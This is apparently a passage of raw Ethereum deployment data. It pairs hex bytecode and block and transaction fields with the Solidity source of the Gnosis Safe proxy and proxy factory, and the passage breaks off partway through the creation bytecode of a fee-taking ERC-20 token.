608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <[email protected]> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <[email protected]> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,493,308
bc25e87df299ab63b83e51e1c1849eca017e30b55ec2cd384b7ab61aec1ec804
003d0b5300103893bb1bfac2f6d5caee4c3b8d384eb93be8024da5cd198e50d0
eb8243862dbec508447ca4fdd6fefaf544fd5a81
a6b71e26c5e0845f74c812102ca7114b6a896ab2
2036c7011dfdcde546101320cd66e8bc2c6e1921
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <[email protected]> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <[email protected]> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,493,312
c91737f941935e4c684775a016d42f0c978dc1909fb999572638de978e6e22fd
dbb81b063fb40fa29eda331f8ca9c0abc4031235d41f03c3f5137e2e84cb2865
f249c29f4e6386d7d916527c4a7fd05380b466e3
f249c29f4e6386d7d916527c4a7fd05380b466e3
4b699898426fc64f2b7e63e4f033a7cc33ccab5b
608060409080825234620005d4578062002e838038038091620000238285620005d9565b8339602092839181010312620005d45751906200003f620005fd565b906200004a620005fd565b82519091906001600160401b0390818111620004d4576003908154906001968783811c93168015620005c9575b86841014620005b3578190601f938481116200055d575b508690848311600114620004f657600092620004ea575b505060001982851b1c191690871b1782555b8451928311620004d45760049485548781811c91168015620004c9575b86821014620004b45790818386959493116200045a575b5085918411600114620003ef57600093620003e3575b505082861b92600019911b1c19161782555b3315620003cc5760058054336001600160a01b031980831682179093556001600160a01b03969187167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0600080a360078054600160a01b600160e01b03191678320000003200000000000000000000000000000000000000001790556005600955600a80546001600160881b0319166d3200000006000000060000006401179055600254818101908110620003b757600255336000526000835286600020818154019055865190815260007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef843393a33381600b541617600b55737a250d5630b4cf539739df2c5dacb4c659f2488d80826006541617600655865163c45a015560e01b815283818681855afa90811562000388578592859160009362000393575b5089516315ab88c960e31b815293849182905afa8015620003885787958686946000936200035e575b50600090604493948c51998a9687956364e329cb60e11b87523090870152166024850152165af19283156200035357600c9386916000916200031f575b50169060075416176007553360005252826000209160ff19928284825416179055306000528360002082848254161790558060065416600052836000208284825416179055600754166000528260002091825416179055516128339081620006508239f35b620003449150843d86116200034b575b6200033b8183620005d9565b8101906200062e565b38620002ba565b503d6200032f565b86513d6000823e3d90fd5b60449350906200037f600092873d89116200034b576200033b8183620005d9565b9350906200027d565b88513d6000823e3d90fd5b620003af919350823d84116200034b576200033b8183620005d9565b913862000254565b601185634e487b7160e01b6000525260246000fd5b8451631e4fbdf760e01b8152600081840152602490fd5b01519150388062000101565b9190879450601f1984169287600052866000209360005b8882821062000443575050851162000428575b50505050811b01825562000113565b01519060f884600019921b161c191690553880808062000419565b8385015187558b9890960195938401930162000406565b909192935086600052856000208380870160051c820192888810620004aa575b918a918897969594930160051c01915b8281106200049a575050620000eb565b600081558796508a91016200048a565b925081926200047a565b602287634e487b7160e01b6000525260246000fd5b90607f1690620000d4565b634e487b7160e01b600052604160045260246000fd5b015190503880620000a5565b90899350601f1983169186600052886000209260005b8a8282106200054657505084116200052d575b505050811b018255620000b7565b015160001983871b60f8161c191690553880806200051f565b8385015186558d979095019493840193016200050c565b90915084600052866000208480850160051c820192898610620005a9575b918b91869594930160051c01915b828110620005995750506200008e565b600081558594508b910162000589565b925081926200057b565b634e487b7160e01b600052602260045260246000fd5b92607f169262000077565b600080fd5b601f909101601f19168101906001600160401b03821190821017620004d457604052565b60408051919082016001600160401b03811183821017620004d45760405260048252635234524560e01b6020830152565b90816020910312620005d457516001600160a01b0381168103620005d4579056fe608060408181526004908136101561001f575b505050361561001d57005b005b600092833560e01c90816306fdde03146117745750806308695b41146116d95780630902f1ac146116a2578063095ea7b3146116715780631419841d146115e85780631694505e146115c057806318160ddd146115a157806323b872dd146113c457806328b13b61146113a7578063299bd19314611383578063313ce567146113675780633ccfd60b1461130e57806349bd5a5e146112e65780634f7041a5146112be57806356cf37b7146112875780636b34f554146110d75780636ff732011461108457806370a082311461104e578063715018a614610ff3578063786f17d714610ea35780638119c06514610e475780638da5cb5b14610e1f5780638f3fa86014610dfb57806395d89b4114610cde578063961d3cd314610c6057806398118cb414610c38578063a29a608914610b96578063a9059cbb146109a7578063b319c6b714610988578063bb1789d614610824578063bdc75762146107e6578063bea1dcf8146107be578063cba0e99614610782578063cc1776d31461075a578063d4f46716146105ae578063db932ae21461047a578063dd62ed3e1461042d578063e20cb19e146103d4578063f2fde38b146103325763f45e90c603610012573461032e57602036600319011261032e576101f96118db565b916102026121fd565b600a549060025463ffffffff8360081c16116102a4575064ffffffff001916600883901b64ffffffff001617600a558051692a30bc102330b1ba37b960b11b90525163ffffffff90911680825260208201527fea23f88d5ba80dfbee969efaa89e1cf77bafbaad839cc9eb7e4b14e16d71cc0e907f97d4140ef4441bb58ac55974ae7dbbd537f34a138c046ce2c064f37c02d916279080604081015b0390a280f35b60e4908380519163674604c960e11b8352820152600a6044820152692a30bc102330b1ba37b960b11b606482015260806024820152602560848201527f54617820666163746f722063616e6e6f742065786365656420746f74616c207360a48201527f7570706c7900000000000000000000000000000000000000000000000000000060c4820152fd5b8280fd5b50903461032e57602036600319011261032e5761034d6118aa565b906103566121fd565b6001600160a01b038092169283156103a5575050600554826001600160a01b0319821617600555167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e08380a380f35b908460249251917f1e4fbdf7000000000000000000000000000000000000000000000000000000008352820152fd5b833461042a578060031936011261042a576103ed6121fd565b600a5460ff8082161516809160ff191617600a5515157f1ee0a4785bcc74a35dc388f433bcfa0f5e2a6ec23f639e0ffd3bebaef6b2320c8280a280f35b80fd5b8382346104765780600319360112610476578060209261044b6118aa565b6104536118c5565b6001600160a01b0391821683526001865283832091168252845220549051908152f35b5080fd5b503461032e57602036600319011261032e576104946118db565b61049c6121fd565b600a549163ffffffff93848460081c168584161161054e575068ffffffff0000000000198316602883811b68ffffffff00000000001691909117600a55815166084eaf240a8c2f60cb1b9052905163ffffffff9390911c909316821683521660208201527f277116d2fcddc7b92723dd54c3316df20c2a86ab5034e94a9a9686f670417ff2907f0a3f97784e6e6c10ef94d1ce709c6ecb248f5f3a223eaa40823d45b34eabb1aa90806040810161029e565b8160c492519163674604c960e11b83528201526007604482015266084eaf240a8c2f60cb1b606482015260806024820152602060848201527f427579207461782063616e6e6f74206578636565642074617820666163746f7260a4820152fd5b503461032e57602036600319011261032e576105c86118db565b6105d06121fd565b6002549263ffffffff93848316116106bd5750917f97d4140ef4441bb58ac55974ae7dbbd537f34a138c046ce2c064f37c02d916279161029e7f7a87c450164f3e4adbcbcd47a104ded23ee565f45f5a2e4b750c4875fbeb0478946007549277ffffffff00000000000000000000000000000000000000008260a01b167fffffffffffffffff00000000ffffffffffffffffffffffffffffffffffffffff8516176007557f4d61782057616c6c657420466163746f720000000000000000000000000000008151525193849360a01c168390602090939293604083019463ffffffff809216845216910152565b60e4908380519163674604c960e11b8352820152601160448201527f4d61782077616c6c657420666163746f72000000000000000000000000000000606482015260806024820152602c60848201527f4d61782077616c6c657420666163746f722063616e6e6f74206578636565642060a48201527f746f74616c20737570706c79000000000000000000000000000000000000000060c4820152fd5b83823461047657816003193601126104765760209063ffffffff600a5460481c169051908152f35b8382346104765760203660031901126104765760ff816020936001600160a01b036107ab6118aa565b168152600c855220541690519015158152f35b8382346104765781600319360112610476576020906001600160a01b03600b54169051908152f35b50903461032e578160031936011261032e576024359063ffffffff821682036108205790610814913561218e565b82519182526020820152f35b8380fd5b503461032e57602036600319011261032e5761083e6118db565b6108466121fd565b600a549163ffffffff93848460081c168584161161090157506cffffffff000000000000000000198316604883811b6cffffffff0000000000000000001691909117600a558151670a6cad8d840a8c2f60c31b9052905163ffffffff9390911c909316821683521660208201527fb888ae9d8008b71fedf1d337fe9a3cd33b6f60ee6dc909c75346200b05299450907f0a3f97784e6e6c10ef94d1ce709c6ecb248f5f3a223eaa40823d45b34eabb1aa90806040810161029e565b8160e492519163674604c960e11b835282015260086044820152670a6cad8d840a8c2f60c31b606482015260806024820152602160848201527f53656c6c207461782063616e6e6f74206578636565642074617820666163746f60a48201527f720000000000000000000000000000000000000000000000000000000000000060c4820152fd5b8382346104765781600319360112610476576020906009549051908152f35b50903461032e578160031936011261032e576109c16118aa565b602435903315610b87576001600160a01b0381168015610b785733865284602096600c885260ff82822054161580610b69575b610b29575b610a0233612228565b80610b14575b610ab6575b828152600c885260ff828220541615610a7a575b610a489550338152600c885260ff82822054161580610a69575b610a51575b5050506120b0565b90519015158152f35b33815260088852818120549281522055388481610a40565b5082815260ff828220541615610a3b565b809293949591508752610a908587842054611a14565b610a98612098565b10610aa857509084849392610a21565b855163d873da4960e01b8152fd5b9050610ac0612040565b8411610b055781815260088752610add8682205460095490611a14565b4210610af6578082879252600888524282822055610a0d565b84865163b94483e160e01b8152fd5b848651633f59fe5760e11b8152fd5b50828152600c885260ff828220541615610a08565b9050610b33612040565b8411610b055733815260088752610b508682205460095490611a14565b4210610af65785903381526008885242828220556109f9565b50610b7384612228565b6109f4565b838551633a954ecd60e21b8152fd5b828451630b07e54560e11b8152fd5b50903461032e57602036600319011261032e57610bb16118aa565b90610bba6121fd565b6001600160a01b03809216928315610c09575050600754826001600160a01b0319821617600755167f32e65821e4609464dd250a7fcb47fd6fdbfed51fc2b69d819832d61453cde55c8380a380f35b908460249251917fc1dd8fa0000000000000000000000000000000000000000000000000000000008352820152fd5b83823461047657816003193601126104765760209063ffffffff600a5460681c169051908152f35b838234610476578060031936011261047657610c7a6118aa565b60243590811515809203610820577ff3a7c8242f0708821ed31a47f066fc7fa42f2ae65ed3e4d1d7cb5b3765d2939c916001600160a01b03602092610cbd6121fd565b1693848652600c835280862060ff1981541660ff841617905551908152a280f35b50823461042a578060031936011261042a578151918184549260018460011c9160018616958615610df1575b6020968785108114610dde579087899a92868b999a9b529182600014610db4575050600114610d59575b8588610d5589610d46848a03856118ee565b5192828493845283019061186a565b0390f35b815286935091907f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b5b828410610d9c5750505082010181610d46610d5588610d34565b8054848a018601528895508794909301928101610d82565b60ff19168882015294151560051b87019094019450859350610d469250610d559150899050610d34565b60248360228c634e487b7160e01b835252fd5b92607f1692610d0a565b838234610476578160031936011261047657602090610e18612098565b9051908152f35b8382346104765781600319360112610476576020906001600160a01b03600554169051908152f35b838234610476578160031936011261047657610e7490610e656121fd565b3083528260205282205461246b565b610e7c61263e565b7f3ebfdaaf4031bec9a2b7b0a1c594d2d03f3d0b8d68531c9164c2829bac00fefa8180a180f35b503461032e57602036600319011261032e57610ebd6118db565b610ec56121fd565b600a549163ffffffff93848460081c1685841611610f9457507fffffffffffffffffffffffffffffff00000000ffffffffffffffffffffffffff8316606883811b70ffffffff000000000000000000000000001691909117600a55815165098a040a8c2f60d31b9052905163ffffffff9390911c909316821683521660208201527f7d304c7695ddaddd328f5c4f42cbeaf237cfb1e87941b598b9324d346841cfa8907f0a3f97784e6e6c10ef94d1ce709c6ecb248f5f3a223eaa40823d45b34eabb1aa90806040810161029e565b8160c492519163674604c960e11b83528201526006604482015265098a040a8c2f60d31b606482015260806024820152601f60848201527f4c50207461782063616e6e6f74206578636565642074617820666163746f720060a4820152fd5b833461042a578060031936011261042a5761100c6121fd565b806001600160a01b036005546001600160a01b03198116600555167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e08280a380f35b83823461047657602036600319011261047657806020926001600160a01b036110756118aa565b16815280845220549051908152f35b503461032e57602036600319011261032e577f4ee50c92f8b1c553d200a0c383ed3026fad1a314380364319d56211aa260d09291356110c16121fd565b600954908060095582519182526020820152a180f35b503461032e57602036600319011261032e576110f16118db565b6110f96121fd565b6002549263ffffffff93848316116111ea5750917f97d4140ef4441bb58ac55974ae7dbbd537f34a138c046ce2c064f37c02d916279161029e7f770b4fa5f5e16b8257498bdfed61327d77bfb5919c4bfa5b177e247d44c1002c94600754927bffffffff0000000000000000000000000000000000000000000000008260c01b167fffffffff00000000ffffffffffffffffffffffffffffffffffffffffffffffff8516176007557f4d6178205472616e73616374696f6e20466163746f72000000000000000000008151525193849360c01c168390602090939293604083019463ffffffff809216845216910152565b60e4908380519163674604c960e11b8352820152601660448201527f4d6178207472616e73616374696f6e20666163746f7200000000000000000000606482015260806024820152603160848201527f4d6178207472616e73616374696f6e20666163746f722063616e6e6f7420657860a48201527f6365656420746f74616c20737570706c7900000000000000000000000000000060c4820152fd5b83823461047657602036600319011261047657806020926001600160a01b036112ae6118aa565b1681526008845220549051908152f35b83823461047657816003193601126104765760209063ffffffff600a5460281c169051908152f35b8382346104765781600319360112610476576020906001600160a01b03600754169051908152f35b503461032e578260031936011261032e576113276121fd565b8280808047335af1611337612058565b5015611341578280f35b517fbaa89171000000000000000000000000000000000000000000000000000000008152fd5b8382346104765781600319360112610476576020905160128152f35b83823461047657816003193601126104765760209060ff600a541690519015158152f35b838234610476578160031936011261047657602090610e18612040565b503461032e57606036600319011261032e576113de6118aa565b6113e66118c5565b604435916001600160a01b0380821690811561159257831690811561158357808852602096600c885260ff878a2054161580611574575b611538575b61142b84612228565b80611523575b6114cb575b828952600c885260ff878a2054161561149f575b50948786610a489783999a52600c8a5260ff8383205416158061148e575b611476575b50505050611a57565b8152600889528181205492815220553885818061146d565b5083825260ff838320541615611468565b8888526114af86888b2054611a14565b6114b7612098565b101561144a57865163d873da4960e01b8152fd5b6114d3612040565b861161151557828952600888526114f0878a205460095490611a14565b4210611507578289526008885242878a2055611436565b865163b94483e160e01b8152fd5b8651633f59fe5760e11b8152fd5b50828952600c885260ff878a20541615611431565b611540612040565b8611611515578189526008885261155d878a205460095490611a14565b4210611507578189526008885242878a2055611422565b5061157e85612228565b61141d565b868651633a954ecd60e21b8152fd5b868651630b07e54560e11b8152fd5b8382346104765781600319360112610476576020906002549051908152f35b8382346104765781600319360112610476576020906001600160a01b03600654169051908152f35b50903461032e57602036600319011261032e576116036118aa565b9061160c6121fd565b6001600160a01b0380921692831561165b575050600654826001600160a01b0319821617600655167ffa4937d0799f87945796348ce98077a83f6a274d6a88335536792683985cd3258380a380f35b90846024925191637eff088160e01b8352820152fd5b83823461047657806003193601126104765760209061169b6116916118aa565b60243590336126e6565b5160018152f35b50823461042a578060031936011261042a57606063ffffffff836116c4611941565b90839492945194855260208501521690820152f35b50919034610476576020366003190112610476576116f56118aa565b92600b546001600160a01b038082169333850361175d57506001600160a01b03199495169384911617600b55828452600c6020528320600160ff198254161790557f92b0a6c35a7725942f911dadba0d72be31d02967844649a1beb00efae0c195698380a380f35b60249084519063118cdaa760e01b82523390820152fd5b9184915034610476578160031936011261047657816003549260018460011c9160018616958615611860575b6020968785108114610dde578899509688969785829a5291826000146118395750506001146117dd575b505050610d559291610d469103856118ee565b9190869350600383527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b5b8284106118215750505082010181610d46610d556117ca565b8054848a018601528895508794909301928101611808565b60ff19168782015293151560051b86019093019350849250610d469150610d5590506117ca565b92607f16926117a0565b919082519283825260005b848110611896575050826000602080949584010152601f8019910116010190565b602081830181015184830182015201611875565b600435906001600160a01b03821682036118c057565b600080fd5b602435906001600160a01b03821682036118c057565b6004359063ffffffff821682036118c057565b90601f8019910116810190811067ffffffffffffffff82111761191057604052565b634e487b7160e01b600052604160045260246000fd5b51906dffffffffffffffffffffffffffff821682036118c057565b60049060606001600160a01b0360075416604051938480927f0902f1ac0000000000000000000000000000000000000000000000000000000082525afa908115611a08576000809381936119a9575b506dffffffffffffffffffffffffffff80911693169190565b925092506060823d606011611a00575b816119c6606093836118ee565b8101031261032e576119d782611926565b60406119e560208501611926565b9301519363ffffffff8516850361042a575091929138611990565b3d91506119b9565b6040513d6000823e3d90fd5b91908201809211611a2157565b634e487b7160e01b600052601160045260246000fd5b8115611a41570490565b634e487b7160e01b600052601260045260246000fd5b9291906000936001600160a01b03806007541690808316918214611fa357806007541681851614611a92575050611a8f939450612251565b90565b81600052602096600c885260409060ff82600020541615611f9b575b15611f8d57611aca63ffffffff9687600a5460481c169061218e565b92909683611ae3575b5050505050611a8f939450612251565b611aee843088612336565b600a5460ff1615611f4157611b2c903060005260008b52611b1b846000205491600a5460681c168261218e565b6002811015611f2c575b505061246b565b60ff600a5416611b78575b50967f9174fcf222375951e43519967bd54a1083271e61dab0b523b644cdf98c975f3491611a8f9798611b6861263e565b51908152a2849338808080611ad3565b30600052600089528160002054906000611b90611941565b5090918415611f035782158015611efb575b611ed25760048d85600754168851928380927f0dfe16810000000000000000000000000000000000000000000000000000000082525afa918215611ec757908e8693611e9a575b5050163014600014611e875790611c03611c08928561216e565b611a37565b905b8351838152602081018390524760408201527f2f5621f2b7bdf78b7b6c286d6572447868217a52b7dce9881a3b09be941bd94690606090a1814711611c51575b5050611b37565b80600654168015611e705783611c6791306126e6565b806006541690600b541690610258420193844211611a215760609360c492875196879586947ff305d71900000000000000000000000000000000000000000000000000000000865230600487015260248601526000604486015260006064860152608485015260a48401525af19060008281928294611e2f575b50917f9174fcf222375951e43519967bd54a1083271e61dab0b523b644cdf98c975f34959391611a8f9b9c959315600014611dee575050506001600060033d11611ddc575b6308c379a014611d85575b611d40575b9198978193611c4a565b7f1720a75363f50383662268a09272021aa57d321b3e621a8e19d508964230c3d1611d7d611d6c612058565b83519182918783528783019061186a565b0390a1611d36565b611d8d612677565b80611d99575b50611d31565b90507f16f910bbc684c1469a47cc2b21887a6e1cf0c0a2b1ee03b4539c3a5cbd7e0e20611dd360009284519182918883528883019061186a565b0390a138611d93565b5060046000803e60005160e01c611d26565b611d7d7fd7f28048575eead8851d024ead087913957dfb4fd1a02b4d1573f5352a5a2be3938551938493846040919493926060820195825260208201520152565b925092506060823d606011611e68575b81611e4c606093836118ee565b8101031261042a575080518a8201519184015192611a8f611ce1565b3d9150611e3f565b60248551637eff088160e01b815260006004820152fd5b611c03611e94928561216e565b90611c0a565b611eb99250803d10611ec0575b611eb181836118ee565b81019061244c565b388e611be9565b503d611ea7565b8751903d90823e3d90fd5b600486517f7bba511d0000